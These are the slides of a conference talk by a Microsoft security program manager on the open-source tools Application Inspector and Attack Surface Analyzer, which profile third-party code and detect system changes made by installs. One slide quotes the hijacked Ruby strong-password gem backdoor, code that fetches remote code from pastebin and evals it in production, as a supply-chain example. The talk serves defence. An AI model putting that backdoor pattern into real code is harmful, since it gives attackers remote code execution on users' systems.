Identifying What Is In Third-Party Code & Applications

Using Static and Runtime Analysis to Understand Third-Party Applications

Guy Acosta
Security Program Manager II
Lead Developer, Application Inspector

guacosta@microsoft.com
Modern software **code** consists largely of source from **people outside** of your company
96% of Apps contain Open Source

257 Average number of Open Source Components

60% Enterprise codebases contain open-source vulnerabilities
How do you know what’s in the code you’re using?
Agenda

Understanding the Problem
Patterns for Success
Application Inspector Demo
Attack Surface Analyzer Demo
Microsoft uses a lot of open source
Engineering teams are responsible for everything that ships
How do we reduce risk?
Modern Software Development Assurance
Assessing OSS components for security vulnerabilities

- Watching the news
- Checking for public vulnerabilities ("CVEs")
- Including commercial vulnerability databases
- Performing in-depth security reviews

Higher Assurance vs. Higher Cost

High-Risk Components
All Components
In-depth reviews are expensive
Identifying What is High-Risk

Imagine having 10,000 new components to review. How would you choose which ones need an in-depth assessment? crypto * authentication * media parsing * file writes * other

What could you trust to identify those characteristics?

Search in: component names dev-help sites readmes documents

All dependent on author chosen descriptions = ineffective
using (var memoryStream = new MemoryStream())
{
    zipFile = new ZipFile(fileStream);
    _appProfile.MetaData.TotalFiles = (int)zipFile.Count;
    foreach (ZipEntry zipEntry in zipFile)
    {
        if (zipEntry.IsDirectory)
        {
            continue;
        }
        filesCount++;
        byte[] buffer = new byte[4096];
        var zipStream = zipFile.GetInputStream(zipEntry);
Patterns for Success

What about searching code for variations on string searches (grep)?

1. How many different libraries, functions exists to do crypto, write to a file, or change an ACL?
2. How many different languages do you use?
Grep Party Anyone?

200 Characteristics (e.g. authorization)
5 Languages (e.g. python)
\times 10 APIs (different ways to achieve)

= 10,000 Search Patterns!
How can we make this scale?
Application Inspector
## Tools Fit – What’s Missing?

<table>
<thead>
<tr>
<th></th>
<th><strong>Static Analysis</strong> (Examines Artifacts)</th>
<th><strong>Dynamic Analysis</strong> (Runtime Behavior)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Security Tools</strong></td>
<td>Semmle</td>
<td>Burp Suite, OWASP ZAP</td>
</tr>
<tr>
<td><strong>Quality Tools</strong></td>
<td>Roslyn Analyzers</td>
<td>Selenium</td>
</tr>
<tr>
<td><strong>Linters</strong></td>
<td>Eslint</td>
<td>Basic Fuzzers</td>
</tr>
</tbody>
</table>
## Software Characterization

<table>
<thead>
<tr>
<th></th>
<th><strong>Static Analysis</strong> (Examines Artifacts)</th>
<th><strong>Dynamic Analysis</strong> (Runtime Behavior)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Security Tools</strong></td>
<td>Semmle</td>
<td>Burp Suite, OWASP ZAP</td>
</tr>
<tr>
<td><strong>Quality Tools</strong></td>
<td>Roslyn Analyzers</td>
<td>Selenium</td>
</tr>
<tr>
<td><strong>Linters</strong></td>
<td>Eslint</td>
<td>Basic Fuzzers</td>
</tr>
<tr>
<td><strong>Software Characterization</strong></td>
<td>Application Inspector</td>
<td>Attack Surface Analyzer</td>
</tr>
</tbody>
</table>
How Application Inspector Works

Patterns

Code

Matches

JSON rules

Report

- This uses crypto (SHA-256).
- This connects to AWS.
- This doesn’t use SQL...

components
zip / directory / files
Application Inspector Report

Key Features
- Thousands of rules for detection (easy to add more)
- Regex-based rules engine
- HTML, JSON, text report formats
- Judgement-free, it simply profiles what is in the source code

Client app built on .NET Core
Demo – Application Inspector
Feature Detection Capabilities

Over 400 characteristics defined today in 15+ file/language types
Includes rules for C, C++, C#, Python, HTML, JavaScript, Typescript, Java, Objective-C, Ruby, PowerShell, and more

Control Flow
- Dynamic Code Execution
- Process Management

Cryptography
- Encryption
- Hashing
- Secrets
- Randomization

OS Operations
- File System
- Environment Variables
- Network Operations
- User Accounts

Data
- JSON/XML
- Object Serialization
- Secrets / Access Keys
- Sensitive Data
- SQL / ORM

Frameworks
- Development
- Testing
- Dependencies

Service Providers
- Cloud Services
Monitoring For Key Feature Changes

Ruby strong-password module backdoor
https://withatwist.dev/strong-password-rubygem-hijacked.html

```ruby
_!{
  Thread.new {
    loop {
      _!{
        sleep rand * 3333;
        eval(
          Net::HTTP.get(
            URI('https://pastebin.com/raw/xa456PFt')
          )
        )
      }
    }
  }
}
} if Rails.env[0] == "p"
```
Uses for Application Inspector

- Characterizing key features of source code
- Detecting sudden feature changes in project versions
- Mapping detected features to security requirements
- True/false testing if specific features are present or not

Other uses?
Use data for OSS profile inventory
Modern applications rely heavily on software written outside of your company which comes with risks.

Application Inspector can help you identify interesting characteristics of an application by examining source code.

We plan to use it for our high-risk component detection needs and to continue to improve it.

It’s cross-platform, open-source, and now available in public preview at github.com/Microsoft/AppInspector
Attack Surface Analyzer
<table>
<thead>
<tr>
<th>Tools Fit</th>
<th>Static Analysis (Examines Artifacts)</th>
<th>Dynamic Analysis (Runtime Behavior)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Security Tools</td>
<td>Semmle</td>
<td>Burp Suite, OWASP ZAP</td>
</tr>
<tr>
<td>Quality Tools</td>
<td>Roslyn Analyzers</td>
<td>Selenium</td>
</tr>
<tr>
<td>Linters</td>
<td>Eslint</td>
<td>Basic Fuzzers</td>
</tr>
<tr>
<td>Software Characterization</td>
<td>Application Inspector</td>
<td>Attack Surface Analyzer</td>
</tr>
</tbody>
</table>
Most software installations require elevated privileges that could change a system's attack surface.
Attack Surface Analyzer 2

- ASA 2.0 is a .NET Core client app
- Rewrite of the classic 2012 v1 tool
- Detects system configuration changes from software installations
- Released April 2019 on GitHub with 2.1 public preview out now.
Attack Surface Coverage

Each one requires special tools and knowledge to identify changes made

System Attack Surface

- COM
- Events
- Groups
- Firewall
- Services
- Accounts
- Ports
- Files
- Certs
- Registry

Microsoft Attack Surface Analyzer Reports Help
Attack Surface Analyzer 2.1

October 2019

- Collect Many Different Verticals
  - Firewall settings
  - System Services
  - System Logs
  - COM Objects (Windows)
  - Files
  - Registry
  - Network Ports
  - Users and Groups

- New user defined analysis rules system
  - Define analysis rules on any collected field using choice of operator

- Default ruleset
  - e.g. flags executables without ASLR enabled
  - Community contributions for default rules are encouraged.

- Docker-based detonation chamber available
Attack Surface Analyzer Recap

Most desktop/server applications require elevated privileges to install.

Attack Surface Analyzer can help identify changes to your operating system during those installations.

It’s cross-platform, open-source, and available on GitHub.

We use it as part of our product Security Development Lifecycle (SDL)

github.com/Microsoft/AttackSurfaceAnalyzer
In Summary

- Use Application Inspector to learn what’s in the code you’re using better safeguard your apps

- Use Attack Surface Analyzer for identifying changes that impact system security from installations

- Contribute to these tools to improve them for the community
Thank you!